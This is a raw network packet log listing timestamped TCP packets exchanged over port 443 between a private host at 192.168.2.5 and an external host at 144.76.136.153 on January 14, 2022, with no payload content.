Jan 14, 2022 21:05:57.445116043 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.445153952 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.445231915 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.445244074 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.445275068 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.445300102 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.446537971 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.446573019 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.446631908 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.446644068 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.446667910 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.446690083 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.449934959 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.449971914 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.450037003 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.450048923 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.450113058 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.450285912 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.450314999 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.450375080 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.450387955 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.450424910 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.450448990 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.450541019 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.450572014 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.450615883 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.450623989 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.450664997 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.450700998 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.451191902 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.451230049 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.451294899 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.451306105 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.451337099 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.451369047 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.451394081 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.451436043 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.451473951 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.451483011 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.451529026 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.451554060 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.451948881 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.451981068 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.452043056 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.452054024 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.452105045 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.452466011 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.452497959 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.452545881 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.452557087 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.452584028 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.452608109 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.452682972 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.452708960 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.452745914 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.452754021 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.452806950 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.455250978 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.468663931 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.468702078 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.469557047 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.469619989 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.471718073 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.473442078 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.473465919 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.473623991 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.473651886 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.473681927 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.473690987 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.473803043 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.473845005 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.473892927 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.474044085 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.474060059 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.474579096 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.474610090 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.474701881 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.474713087 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.474841118 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.474864960 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.474971056 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.474982977 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475173950 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475198984 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475269079 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.475279093 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475357056 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.475524902 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475550890 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475640059 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.475649118 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475878000 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475903034 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.475974083 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.475985050 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.476056099 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.476722956 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.492028952 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.492064953 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.492172003 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.492230892 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.492276907 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.492290974 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.492377043 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.492564917 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.492597103 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.492676020 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.492685080 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.492764950 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.496308088 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.496436119 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.496467113 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.496560097 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.496570110 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.496629953 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.497637033 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.497669935 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.497735977 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.497747898 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.497781038 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.497876883 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.497905016 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.497937918 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.497946978 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.497960091 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.497998953 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.498027086 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.499413967 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499507904 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499516010 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.499531984 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499624014 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499643087 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.499654055 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499716997 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.499788046 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499816895 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499870062 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.499880075 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499906063 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.499914885 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499927044 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.499937057 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499955893 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.499979973 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.500017881 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.500025988 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.500075102 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.500240088 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.500269890 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.500317097 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.500328064 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.500358105 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.500377893 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.502865076 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.515558004 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.515598059 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.515671968 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.515692949 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.515713930 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.515722990 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.515747070 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.515758038 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.515774965 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.515780926 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.515808105 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.515818119 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.515845060 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.515873909 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.517822981 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.517884970 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.517905951 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.517921925 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.517946959 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.517966986 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.517992020 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.520117998 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.520155907 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.520234108 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.520245075 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.520272017 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.520291090 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.520658970 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.520698071 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.520828009 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.520910978 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.520912886 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.520935059 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.520967007 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.520997047 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.522948980 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.522990942 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523036003 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523047924 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523091078 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523184061 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523219109 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523257971 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523268938 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523303032 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523390055 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523428917 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523458958 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523472071 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523499966 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523567915 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523576975 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523642063 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523677111 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523679018 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523700953 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.523709059 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.523752928 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.524683952 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.524720907 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.524772882 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.524782896 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.524815083 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.538824081 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.538862944 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.538923979 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.538944960 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.538957119 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.539195061 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.539227962 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.539257050 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.539267063 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.539288998 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.542736053 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.542794943 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.542853117 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.542869091 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.542905092 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.543359041 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.543406010 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.543416977 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.543432951 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.543446064 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.543490887 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.543497086 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.543891907 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.543931007 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.543945074 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.543952942 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.544018984 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.544476032 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.544517994 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.544543982 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.544552088 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.544580936 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565349102 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565366983 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565453053 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565496922 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565507889 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565526962 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565560102 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565587997 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565613031 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565622091 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565634012 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565639973 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565663099 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565676928 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565712929 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565725088 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565751076 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565761089 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565769911 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.565795898 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565836906 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.565890074 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.569227934 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.569271088 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.569328070 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.569353104 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.569384098 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.591054916 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.591077089 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.591200113 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.603209972 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.603230000 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603246927 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603302956 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603353977 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.603363037 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603373051 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603440046 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.603462934 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603516102 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.603526115 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603538036 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603545904 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603564978 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.603573084 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.603606939 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.603653908 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.603696108 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.627418995 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.627460003 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.627609015 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.629400015 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.629417896 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.629442930 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.629451036 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.629580021 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.629594088 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.629617929 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.629658937 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.629673004 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.629682064 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.629709959 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.629720926 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.629738092 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.629802942 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.629874945 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.660631895 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.660667896 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.660779953 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.663455963 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.663487911 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.663517952 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.663544893 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.663603067 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.663623095 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.663688898 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.663708925 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.663728952 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.663774967 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.663791895 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.663813114 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.663888931 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.663954020 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.691565990 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.691587925 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.691602945 CET	443	49894	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:57.691665888 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.691723108 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.695635080 CET	49894	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:57.695655107 CET	443	49894	144.76.136.153	192.168.2.5
